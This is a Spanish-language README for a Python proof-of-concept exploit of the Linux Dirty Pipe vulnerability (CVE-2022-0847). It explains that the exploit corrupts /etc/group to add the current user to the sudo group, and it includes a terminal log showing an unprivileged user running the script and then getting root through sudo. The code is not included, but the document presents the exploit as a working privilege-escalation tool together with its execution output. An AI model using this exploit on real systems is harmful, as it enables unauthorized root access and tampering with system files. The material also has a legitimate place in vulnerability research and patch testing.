
Exploit POC para agregar un usuario a Sudo para la vulnerabilidad CVE-2022-0847 Dirty Pipe
Este repositorio está basado en la Vulnerabilidad, el Writeup y el Exploit producidos por Max Kellermann que se encuentran todos aquí.
Como todos, tuve que aprovechar jugar con la escalada de privilegios más trivial de reproducir del mundo; la publicación del blog hace un gran trabajo explicándolo todo.
Traduje el exploit a Python simplemente para entenderlo mejor, pero es una copia exacta del exploit en C con la escalada de privilegios de Sudo codificada.
Python 3.10 (debido al uso de la llamada os.splice)
Corrompe el archivo /etc/group escribiendo en la línea justo después de la entrada de sudo. Pero cuando eres root puedes arreglarlo usando la copia.
Coloca una copia de /etc/group en /tmp/group_backup
test@kali:/home/user/working$ whoami
test
test@kali:/home/user/working$ sudo whoami
test is not in the sudoers file. This incident will be reported.
test@kali:/home/user/working$ python3.10 poc.py
[*] Dirty PIPE POC [*]
[*] Exploit will add test to sudoers
[*] Finding offset of sudo entry in /etc/group
[*] Found sudo group offset
[*] Confirmed it is not last.
[*] Opening /etc/group
[*] Opening PIPE
[*] Contaminating flags of pipe buffer
[*] 65536 bytes written to pipe
[*] 65536 bytes read from pipe
[*] Splicing byte from /etc/group to pipe
[*] Spliced 1 bytes
[*] Altering group to add test
[*] 6 bytes written to /etc/group
test@kali:/home/user/working$ su test
Password:
test@kali:/home/user/working$ sudo whoami
root
test@kali:/home/user/working$